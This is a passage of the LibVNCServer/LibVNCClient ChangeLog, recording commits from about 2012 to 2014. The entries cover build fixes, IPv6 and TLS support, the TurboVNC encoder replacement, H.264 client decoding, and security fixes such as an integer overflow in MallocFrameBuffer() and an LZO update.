5132014-08-16  Johannes Schindelin <johannes.schindelin@gmx.de>
514
515	* libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
516
5172014-08-16  dscho <johannes.schindelin@gmx.de>
518
519	* : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
520
5212014-08-15  newsoft <newsoft@MacBook-Air-de-newsoft-2.local>
522
523	* libvncclient/vncviewer.c: Fix integer overflow in
524	MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during
525	frame buffer allocation for very large screen sizes
526
5272013-09-28  Amandeep Singh <aman.dedman@gmail.com>
528
529	* libvncserver/sockets.c: allow rfbInitSockets with non-ready
530	states.  This allows for reinitializations of e. g. sockets in a SHUTDOWN
531	state.  The only state that doesn't make sense to reinitialize are
532	READY states.
533
5342013-10-09  Amandeep Singh <aman.dedman@gmail.com>
535
536	* libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a
537	rfbClientConnectionGone call missing
538
5392014-07-10  Will Thompson <will@willthompson.co.uk>
540
541	* x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called,
542	and currently calls X_UNLOCK on behalf of the caller. But in
543	practice, all callers assume that the lock is still held after
544	check_xrandr_event() returns. In particular, this leads to a
545	double-unlock and crash in check_xevents() on any xrandr event.
546
5472014-07-18  dscho <johannes.schindelin@gmx.de>
548
549	* : Merge pull request #13 from
550	wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events
551
5522014-06-27  Johannes Schindelin <johannes.schindelin@gmx.de>
553
554	* common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
555	common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1:
556	Oberhumer LZO (CVE-2014-4607):
557	http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as
558	https://github.com/LibVNC/libvncserver/issues/9.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
559
5602014-06-23  dscho <johannes.schindelin@gmx.de>
561
562	* : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg.
563
5642014-06-23  Matthias Treydte <mt@waldheinz.de>
565
566	* libvncclient/rfbproto.c: Initialize padding in
567	SetFormatAndEncodings' rfbSetPixelFormatMsg.
568
5692014-06-23  Matthias Treydte <mt@waldheinz.de>
570
571	* CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR.  This makes the library friendly to use as a git submodule within
572	another project, and should change nothing when compiled alone.  For example when having a directory structure like
573	"my_project/external/libvnc", where in libvnc resides a checkout of
574	libvncserver, one can just reference that directory from the
575	CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries,
576	one can just hack away without having to manually make / install
577	LibVNCServer whenever something is changed there.
578
5792014-05-14  dscho <johannes.schindelin@gmx.de>
580
581	* : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region
582
5832014-04-05  Johannes Schindelin <johannes.schindelin@gmx.de>
584
585	* libvncclient/rfbproto.c: libvncclient: If we have TLS support,
586	enable VeNCrypt by default Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
587
5882014-04-05  Johannes Schindelin <johannes.schindelin@gmx.de>
589
590	* .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
591
5922014-04-05  Johannes Schindelin <johannes.schindelin@gmx.de>
593
594	* .gitignore: Ignore the vencrypt document 	https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
595
5962014-04-05  Johannes Schindelin <johannes.schindelin@gmx.de>
597
598	* .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by
599	TigerVNC:
600	http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
601
6022014-03-29  Johannes Schindelin <johannes.schindelin@gmx.de>
603
604	* examples/repeater.c: Repeater example: show how to shut down
605	cleanly Since we connected to the client through the repeater, chances are
606	that we want this server shut down once the client disconnected.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
607
6082014-03-29  Johannes Schindelin <johannes.schindelin@gmx.de>
609
610	* .gitignore, examples/Makefile.am, examples/repeater.c: Add an
611	example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs
612	with a so-called repeater (e.g. to bridge firewalled clients and
613	servers): 	http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a
614	LibVNCServer-based server.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
615
6162014-04-05  Christian Beier <dontmind@freeshell.org>
617
618	* configure.ac, webclients/novnc/README.md,
619	webclients/novnc/vnc.html: Update sourceforge links to point to
620	github.
621
6222014-03-31  Johannes Schindelin <johannes.schindelin@gmx.de>
623
624	* libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
625
6262014-03-30  Johannes Schindelin <johannes.schindelin@gmx.de>
627
628	* .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best
629	downloaded manually from 	http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
630
6312014-03-30  Robbert Klarenbeek <robbertkl@users.sourceforge.net>
632
633	* libvncclient/vncviewer.c: Address #12 ClientData does not get
634	freed rfbClientSetClientData() allocates a new rfbClientData, but never
635	gets cleaned up, which causes memory leaks.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
636
6372014-03-30  Johannes Schindelin <johannes.schindelin@gmx.de>
638
639	* examples/example.c, test/encodingstest.c: After free()ing
640	clientData, set it to NULL We will change rfbClientCleanup() to free the data.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
641
6422013-02-27  Joel Martin <github@martintribe.org>
643
644	* libvncserver/websockets.c: Set opcode correctly for binary frames.
645
6462013-01-25  Christian Beier <dontmind@freeshell.org>
647
648	* rfb/rfbproto.h: Remove unneeded #ifdefs.
649
6502013-01-25  Christian Beier <dontmind@freeshell.org>
651
652	* rfb/rfbclient.h: Fix ABI compatibility issue.
653
6542013-01-09  David Verbeiren <david.verbeiren@intel.com>
655
656	* client_examples/gtkvncviewer.c, configure.ac,
657	libvncclient/Makefile.am, libvncclient/h264.c,
658	libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h,
659	rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
660	updates This patch implements support in LibVNCClient for framebuffer
661	updates encoded as H.264 frames. Hardware accelerated decoding is
662	performed using VA API.  This is experimental support to let the community explore the
663	possibilities offered by the potential bandwidth and latency
664	reductions that H.264 encoding allows. This may be particularly
665	useful for use cases such as online gaming, hosted desktops, hosted
666	set top boxes...  This patch only provides the client side support and is meant to be
667	used with corresponding server-side support, as provided by an
668	upcoming patch for qemu ui/vnc module (to view the display of a
669	virtual machine executing under QEMU).  With this H.264-based encoding, if multiple framebuffer update
670	messages are generated for a single server framebuffer modification,
671	the H.264 frame data is sent only with the first update message.
672	Subsequent update framebuffer messages will contain only the
673	coordinates and size of the additional updated regions.  Instructions/Requirements: * The patch should be applied on top of the previous patch I
674	submitted with minor enhancements to the gtkvncviewer application:
675	http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for
676	libva and intel-driver. Those can be built as follows:    cd libva    git checkout v1.0-branch    ./autogen.sh    make    sudo make install    cd ..     git clone git://anongit.freedesktop.org/vaapi/intel-driver    cd intel-driver    git checkout v1.0-branch    ./autogen.sh    make    sudo make install Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
677
6782013-01-08  David Verbeiren <david.verbeiren@intel.com>
679
680	* client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received.  Hide local cusror in gtkvncviewer.
681
6822012-09-14  Christian Beier <dontmind@freeshell.org>
683
684	* AUTHORS: Add Raphael to AUTHORS.
685
6862012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
687
688	* libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
689
6902012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
691
692	* libvncserver/websockets.c: Work around a gcc bug with anonymous
693	structs and unions.  GCC < 4.6 failed to parse the declaration of ws_header_t correctly
694	because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
695	but works.  [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
696
6972012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
698
699	* libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
700
7012012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
702
703	* libvncserver/websockets.c: Add the required headers for read(2)
704
7052012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
706
707	* CMakeLists.txt, configure.ac, libvncserver/websockets.c,
708	rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in
709	websocket.c.  byteswap.h exists only on glibc, so building libvncserver with
710	websockets support was not possible in other systems.  Replace the inclusion of byteswap.h and the WS_* definitions with
711	calls to htobeNN, which should perform the same conversions, be more
712	portable and avoid the need to check for the platform's endianness.
713
7142012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
715
716	* CMakeLists.txt, configure.ac: Do not hardcode the need for
717	libresolv.  libresolv is only present on systems which use glibc; platforms such
718	as FreeBSD have __b64_ntop as part of libc itself.  Improve the detection process and only link against libresolv if it
719	exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES
720	after performing the necessary tests, since we do not always want to
721	link against libresolv.
722
7232012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
724
725	* common/vncauth.c, libvncclient/rfbproto.c,
726	libvncclient/sockets.c, libvncserver/httpd.c,
727	libvncserver/rfbserver.c, libvncserver/sockets.c,
728	libvncserver/websockets.c: Tune the definitions needed when building
729	with -ansi.  The current definitions were mostly useful to glibc and followed its
730	feature_test_macros(3) documentation.  However, this means other platforms still had problems when building
731	with strict compilation flags. _BSD_SOURCE, for example, is only
732	recognized by glibc, and other platforms sometimes need
733	_XOPEN_SOURCE instead, or even the removal of some definitions (such
734	as the outdate _POSIX_SOURCE one).  _POSIX_SOURCE also had to be conditionally defined in some places,
735	as what it enables or disables during compilation varies across
736	systems.
737
7382012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
739
740	* libvncserver/sockets.c, libvncserver/websockets.c: Add some
741	missing feature macro definitions.  Building with -ansi failed due to some code (as well as system
742	headers) using non-C89 features. Fix that by adding the usual
743	_POSIX_SOURCE and _BSD_SOURCE definitions already present in some
744	other files.
745
7462012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
747
748	* common/turbojpeg.c, libvncserver/tight.c,
749	libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
750	test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source
751	code.  Using C++-style comments when building the code with -ansi does not
752	work, so be more conservative with the comment style.
753
7542012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
755
756	* libvncserver/websockets.c: Correctly include rfbconfig.h.  build_dir/rfb is not passed as an include directory automatically to
757	the compiler, so including that file fails.
758
7592012-09-11  Raphael Kubo da Costa <rakuco@FreeBSD.org>
760
761	* CMakeLists.txt: CMake: Link against libgcrypt when it is found.  So far, libgcrypt was looked for but no targets linked against it
762	directly; this caused linking problems for the client and server
763	examples, as the symbols they needed were not passed to the linker.  The issue that the GnuTLS websockets code uses libgcrypt regardless
764	of whether it has been found or not has not been touched by this
765	commit, though.
766
7672012-08-19  Christian Beier <dontmind@freeshell.org>
768
769	* webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
770	webclients/novnc/include/base.css,
771	webclients/novnc/include/black.css,
772	webclients/novnc/include/blue.css,
773	webclients/novnc/include/display.js,
774	webclients/novnc/include/input.js,
775	webclients/novnc/include/playback.js,
776	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
777	webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
778	webclients/novnc/include/web-socket-js/web_socket.js,
779	webclients/novnc/include/websock.js,
780	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
781	webclients/novnc/vnc_auto.html: Update noVNC webclient.
782
7832012-08-19  Christian Beier <dontmind@freeshell.org>
784
785	* AUTHORS: Update AUTHORS.
786
7872012-08-08  Oliver Loch <o.loch@gmx.net>
788
789	* libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6
790	without IPv4.  As requested only those lines are indented that have been changed.
791
7922012-07-20  Johannes Schindelin <johannes.schindelin@gmx.de>
793
794	* AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
795
7962012-07-19  Rostislav Lisovy <lisovy@gmail.com>
797
798	* libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval
799	conversion Signed-off-by: Rostislav Lisovy <lisovy@gmail.com> Signed-off-by:
800	Johannes Schindelin <johannes.schindelin@gmx.de>
801
8022012-05-31  Christian Beier <dontmind@freeshell.org>
803
804	* libvncserver/config.h, libvncserver/rfbconfig.h: Remove
805	autogenerated files from repo.
806
8072012-05-23  Christian Beier <dontmind@freeshell.org>
808
809	* CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile
810	Time Version Test Defines.
811
8122012-05-18  Kyle J. McKay <mackyle@gmail.com>
813
814	* libvncserver/sockets.c: libvncserver/sockets.c: do not segfault
815	when listenSock/listen6Sock == -1
816
8172012-05-09  Christian Beier <dontmind@freeshell.org>
818
819	* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
820	vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no
821	too unimportant errors.
822
8232012-05-07  Christian Beier <dontmind@freeshell.org>
824
825	* TODO: Update TODO.
826
8272012-05-07  Luca Falavigna <dktrkranz@debian.org>
828
829	* test/encodingstest.c: Encodingstest: Use format string argument
830	with fprintf.
831
8322012-05-05  Christian Beier <dontmind@freeshell.org>
833
834	* CMakeLists.txt, configure.ac: Bump version to 0.9.10.
835
8362012-05-04  Christian Beier <dontmind@freeshell.org>
837
838	* ChangeLog: Update ChangeLog for 0.9.9.
839
8402012-05-04  Christian Beier <dontmind@freeshell.org>
841
842	* configure.ac: Enable building DLLs with MinGW32.
843
8442012-05-04  Christian Beier <dontmind@freeshell.org>
845
846	* NEWS: Update NEWS for 0.9.9.
847
8482012-05-03  Christian Beier <dontmind@freeshell.org>
849
850	* libvncclient/rfbproto.c: LibVNCClient: #undef these types in case
851	it's WIN32.  The various other headers include windows.h and the winsock headers
852	which give an error when SOCKET and socklen_t are already defined.
853
8542012-05-03  Christian Beier <dontmind@freeshell.org>
855
856	* rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available.  Needed for the IPv6 stuff.
857
8582012-04-30  Christian Beier <dontmind@freeshell.org>
859
860	* libvncserver/Makefile.am: LibVNCServer: Prefer GnuTLS over OpenSSL
861	to be in sync with LibVNCClient.
862
8632012-04-30  Christian Beier <dontmind@freeshell.org>
864
865	* libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib
866	related build fixes.
867
8682012-04-30  Christian Beier <dontmind@freeshell.org>
869
870	* configure.ac: Make PKG_CHECK_MODULES fail non-fatal.  These check for optional modules.
871
8722012-04-30  Christian Beier <dontmind@freeshell.org>
873
874	* libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG
875	stuff when libjpeg is available.  TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It
876	still uses JPEG rects as well. Theoretically, we could build
877	TightPNG with only libpng and libjpeg - without zlib - but libpng
878	depends on zlib, so this is kinda moot.
879
8802012-04-27  Christian Beier <dontmind@freeshell.org>
881
882	* test/Makefile.am: Only build libjpeg test programs if libjpeg is
883	actually available.
884
8852012-04-26  Christian Beier <dontmind@freeshell.org>
886
887	* CMakeLists.txt: Fix CMake build of LibVNCClient.
888
8892012-04-26  Christian Beier <dontmind@freeshell.org>
890
891	* libvncserver/rfbserver.c: Properly check return value.  This also fixes a compiler warning.
892
8932012-04-26  Christian Beier <dontmind@freeshell.org>
894
895	* configure.ac: Fix build when no libjpeg is available.
896
8972012-04-26  Christian Beier <dontmind@freeshell.org>
898
899	* examples/android/Makefile.am, libvncserver/Makefile.am: Include
900	some more missing files for make dist.
901
9022012-04-25  Christian Beier <dontmind@freeshell.org>
903
904	* libvncserver/Makefile.am: Include missing files for make dist.
905
9062012-04-25  Christian Beier <dontmind@freeshell.org>
907
908	* libvncclient/Makefile.am: Fix libvncclient make dist.
909
9102012-04-25  Christian Beier <dontmind@freeshell.org>
911
912	* configure.ac: Better check for Linux build.
913
9142012-04-25  Christian Beier <dontmind@freeshell.org>
915
916	* vncterm/Makefile.am: Binaries that are to be installed should be
917	all lowercase.
918
9192012-04-25  Christian Beier <dontmind@freeshell.org>
920
921	* CMakeLists.txt, configure.ac: Bump version to 0.9.9.
922
9232012-04-25  Christian Beier <dontmind@freeshell.org>
924
925	* common/turbojpeg.c, libvncserver/rfbserver.c,
926	libvncserver/websockets.c, test/tjbench.c: Fix some compiler
927	warnings thrown with newer gcc.
928
9292012-04-25  Christian Beier <dontmind@freeshell.org>
930
931	* test/Makefile.am: Fix turbojpeg tests compilation.
932
9332012-04-25  DRC <information@virtualgl.org>
934
935	* common/turbojpeg.c: Fix compilation with some libjpeg
936	distributions.
937
9382012-04-22  Monkey <chris.boyle.1978@gmail.com>
939
940	* libvncclient/rfbproto.c: Added support for UltraVNC Single Click
941	as originally proposed by Noobius (Boobius) on 6/1/11.  Original thread:
942
943	http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860
944
9452012-04-15  Christian Beier <dontmind@freeshell.org>
946
947	* AUTHORS: Add Philip to AUTHORS.
948
9492012-04-15  Christian Beier <dontmind@freeshell.org>
950
951	* libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS
952	library available.
953
9542012-04-15  Christian Beier <dontmind@freeshell.org>
955
956	* libvncclient/tls_openssl.c: LibVNCClient: properly free the
957	openssl session stuff on shutdown.
958
9592012-04-15  Christian Beier <dontmind@freeshell.org>
960
961	* libvncclient/rfbproto.c, libvncclient/sockets.c,
962	libvncclient/tls_gnutls.c, libvncclient/vncviewer.c,
963	rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS
964	#ifdefs and move GnuTLS specific functionality into tls_gnutls.c.
965
9662012-04-14  Christian Beier <dontmind@freeshell.org>
967
968	* configure.ac: Unify GnuTLS vs OpenSSL build systems stuff between
969	libvncclient and libvncserver.
970
9712012-04-14  Christian Beier <dontmind@freeshell.org>
972
973	* libvncclient/Makefile.am, libvncclient/tls.c,
974	libvncclient/tls_gnutls.c, libvncclient/tls_none.c,
975	libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version
976	to the build system.
977
9782012-04-12  Christian Beier <dontmind@freeshell.org>
979
980	* webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
981	webclients/novnc/include/base.css,
982	webclients/novnc/include/base64.js,
983	webclients/novnc/include/display.js,
984	webclients/novnc/include/input.js,
985	webclients/novnc/include/jsunzip.js,
986	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
987	webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
988	webclients/novnc/include/websock.js,
989	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
990	webclients/novnc/vnc_auto.html: Update our copy of noVNC.  Bugfixes and support for tight encoding with zlib.
991
9922012-04-12  Christian Beier <dontmind@freeshell.org>
993
994	* libvncserver/tight.c: Make TurboVNC compress level 3 actually
995	work.
996
9972012-04-09  DRC <information@virtualgl.org>
998
999	* common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace
1000	emulation code, which is only active when using regular libjpeg (not
1001	libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1002
10032012-04-02  Christian Beier <dontmind@freeshell.org>
1004
1005	* libvncclient/listen.c, libvncclient/sockets.c,
1006	libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for
1007	LibVNCServer, part four: add copyright notices to files with
1008	non-trivial changes.
1009
10102012-03-29  Johannes Schindelin <johannes.schindelin@gmx.de>
1011
1012	* client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows
1013	keys correctly Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1014
10152012-03-29  Johannes Schindelin <johannes.schindelin@gmx.de>
1016
1017	* .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1018
10192012-03-29  Johannes Schindelin <johannes.schindelin@gmx.de>
1020
1021	* client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP
1022	issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if
1023	the same key event sets unicode correctly in SDL_KEYDOWN events.  Work around that for the common case (ASCII) using the fact that
1024	both SDL and X11 keysyms were created with ASCII compatibility in
1025	mind. So as long as we type ASCII symbols, we can map things
1026	trivially.  Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
1027
10282012-03-23  DRC <information@virtualgl.org>
1029
1030	* CMakeLists.txt: Extend support for the new TurboVNC encoder to the
1031	CMake build system
1032
10332012-03-25  DRC <information@virtualgl.org>
1034
1035	* common/turbojpeg.c, common/turbojpeg.h, configure.ac,
1036	libvncserver/Makefile.am, libvncserver/rfbserver.c,
1037	libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h,
1038	rfb/rfbproto.h, test/Makefile.am, test/bmp.c, test/bmp.h,
1039	test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h: 
1040	Replace TightVNC encoder with TurboVNC encoder. This patch is the
1041	result of further research and discussion that revealed the
1042	following: -- TightPng encoding and the rfbTightNoZlib extension need not
1043	   conflict.  Since TightPng is a separate encoding type, not supported
1044	   by TurboVNC-compatible viewers, then the rfbTightNoZlib extension
1045	   can be used solely whenever the encoding type is Tight and disabled
1046	with the encoding type is TightPng.  -- In the TightVNC encoder, compression levels above 5 are basically
1047	   useless.  On the set of 20 low-level datasets that were used to
1048	   design the TurboVNC encoder (these include the eight 2D application
1049	   captures that were also used when designing the TightVNC encoder, as
1050	   well as 12 3D application captures provided by the VirtualGL
1051	   Project-- see
1052	   http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf),
1053	   moving from Compression Level (CL) 5 to CL 9 in the TightVNC
1054	   encoder did not increase the compression ratio of any datasets more
1055	   than 10%, and the compression ratio only increased by more than 5%
1056	   on four of them.  The compression ratio actually decreased a few
1057	   percent on five of them.  In exchange for this paltry increase in
1058	   compression ratio, the CPU usage, on average, went up by a factor of
1059	   5.  Thus, for all intents and purposes, TightVNC CL 5 provides the
1060	"best useful compression" for that encoder.  -- TurboVNC's best compression level (CL 2) compresses 3D and video
1061	   workloads significantly more "tightly" than TightVNC CL 5 (~70%
1062	   better, in the aggregate) but does not quite achieve the same level
1063	   of compression with 2D workloads (~20% worse, in the aggregate.)
1064	   This decrease in compression ratio may or may not be noticeable,
1065	   since many of the datasets it affects are not performance-critical
1066	   (such as the console output of a compilation, etc.) However, for
1067	   peace of mind, it was still desirable to have a mode that compressed
1068	   with equal "tightness" to TightVNC CL 5, since we proposed to
1069	replace that encoder entirely.  -- A new mode was discovered in the TurboVNC encoder that produces,
1070	   in the aggregate, similar compression ratios on 2D datasets as
1071	   TightVNC CL 5.  That new mode involves using Zlib level 7 (the same
1072	   level used by TightVNC CL 5) but setting the "palette threshold" to
1073	   256, so that indexed color encoding is used whenever possible.  This
1074	   mode reduces bandwidth only marginally (typically 10-20%) relative
1075	   to TurboVNC CL 2 on low-color workloads, in exchange for nearly
1076	   doubling CPU usage, and it does not benefit high-color workloads at
1077	   all (since those are usually encoded with JPEG.)  However, it
1078	provides a means of reproducing the same "tightness" as the TightVNC    encoder on 2D workloads without sacrificing any compression for
1079	   3D/video workloads, and without using any more CPU time than
1080	necessary.  -- The TurboVNC encoder still performs as well or better than the
1081	   TightVNC encoder when plain libjpeg is used instead of
1082	libjpeg-turbo.  Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the
1083	libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper
1084	can be used with plain libjpeg as well.  This required updating the
1085	TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0,
1086	mainly because the TurboJPEG 1.2 API handles pixel formats in a much
1087	cleaner way, which made the conversion code easier to write.  It
1088	also eases the maintenance to have the wrapper synced as much as
1089	possible with the upstream code base (so I can merge any relevant
1090	bug fixes that are discovered upstream.) The libvncserver version of
1091	the TurboJPEG wrapper is a "lite" version, containing only the JPEG
1092	compression/decompression code and not the lossless transform, YUV
1093	encoding/decoding, and dynamic buffer allocation features from
1094	TurboJPEG 1.2.  configure.ac: Removed the --with-turbovnc option.  configure still
1095	checks for the presence of libjpeg-turbo, but only for the purposes
1096	of printing a performance warning if it isn't available.  rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder
1097	patch.  We cannot use tightQualityLevel for the TurboVNC 1-100
1098	quality level, because tightQualityLevel is also used by ZRLE.
1099	Thus, a new parameter (turboQualityLevel) was created.  rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs.  Fix
1100	afore-mentioned tightQualityLevel bug.  libvncserver/tight.c: Replaced the TightVNC encoder with the
1101	TurboVNC encoder.  Relative to the initial TurboVNC encoder patch,
1102	this patch also: -- Adds TightPng support to the TurboVNC encoder --
1103	   Adds the afore-mentioned low-bandwidth mode, which is mapped
1104	   externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG
1105	wrapper) as well as TJBench (a benchmark for same.)  These are
1106	useful for ensuring that the wrapper still functions correctly and
1107	performantly if it needs to be modified for whatever reason.  Both
1108	of these programs are derived from libjpeg-turbo 1.2.0.  As with the
1109	TurboJPEG wrapper, they do not contain the more advanced features of
1110	TurboJPEG 1.2, such as YUV encoding/decoding and lossless
1111	transforms.
1112
11132012-03-15  Christian Beier <dontmind@freeshell.org>
1114
1115	* AUTHORS: Add DRC to AUTHORS.
1116
11172012-03-15  Christian Beier <dontmind@freeshell.org>
1118
1119	* rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient
1120	struct.  Try to not break ABI between releases. Even if the code gets ugly...
1121
11222012-03-10  DRC <information@virtualgl.org>
1123
1124	* x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree
1125	build directory is used
1126
11272012-03-10  DRC <information@virtualgl.org>
1128
1129	* libvncserver/rfbserver.c: Fix an issue that affects the existing
1130	Tight encoder as well as the newly-implemented Turbo encoder.  The issue is that, when using the current libvncserver source, it is
1131	impossible to disable Tight JPEG encoding.  The way Tight/Turbo
1132	viewers disable JPEG encoding is by simply not sending the Tight
1133	quality value, causing the server to use the default value of -1.
1134	Thus, cl->tightQualityLevel has to be set to -1 prior to processing
1135	the encodings message for this mechanism to work.  Similarly, it is
1136	not guaranteed that the compress level will be set in the encodings
1137	message, so it is set to a default value prior to processing the
1138	message.
1139
11402012-03-10  DRC <information@virtualgl.org>
1141
1142	* common/turbojpeg.c, common/turbojpeg.h, configure.ac,
1143	libvncserver/Makefile.am, libvncserver/rfbserver.c,
1144	libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC
1145	encoding support.  TurboVNC is a variant of TightVNC that uses the same client/server
1146	protocol (RFB version 3.8t), and thus it is fully cross-compatible
1147	with TightVNC and TigerVNC (with one exception, which is noted
1148	below.) Both the TightVNC and TurboVNC encoders analyze each
1149	rectangle, pick out regions of solid color to send separately, and
1150	send the remaining subrectangles using mono, indexed color, JPEG, or
1151	raw encoding, depending on the number of colors in the subrectangle.
1152	However, TurboVNC uses a fundamentally different selection algorithm
1153	to determine the appropriate subencoding to use for each
1154	subrectangle.  Thus, while it sends a protocol stream that can be
1155	decoded by any TightVNC-compatible viewer, the mix of subencoding
1156	types in this protocol stream will be different from those generated
1157	by a TightVNC server.  The research that led to TurboVNC is described in the following
1158	report:
1159	http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf.  In
1160	summary:  20 RFB captures, representing "common" 2D and 3D
1161	application workloads (the 3D workloads were run using VirtualGL),
1162	were studied using the TightVNC encoder in isolation.  Some of the
1163	analysis features in the TightVNC encoder, such as smoothness
1164	detection, were found to generate a lot of CPU usage with little or
1165	no benefit in compression, so those features were disabled.  JPEG
1166	encoding was accelerated using libjpeg-turbo (which achieves a 2-4x
1167	speedup over plain libjpeg on modern x86 or ARM processors.)
1168	Finally, the "palette threshold" (minimum number of colors that the
1169	subrectangle must have before it is compressed using JPEG or raw)
1170	was adjusted to account for the fact that JPEG encoding is now quite
1171	a bit faster (meaning that we can now use it more without a CPU
1172	penalty.)  TurboVNC has additional optimizations, such as the
1173	ability to count colors and encode JPEG images directly from the
1174	framebuffer without first translating the pixels into RGB.  The
1175	TurboVNC encoder compares quite favorably in terms of compression
1176	ratio with TightVNC and generally encodes a great deal faster (often
1177	an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is
1178	roughly equivalent to the one found in version 0.6 of the Unix
1179	TurboVNC Server, with a few minor patches integrated from TurboVNC
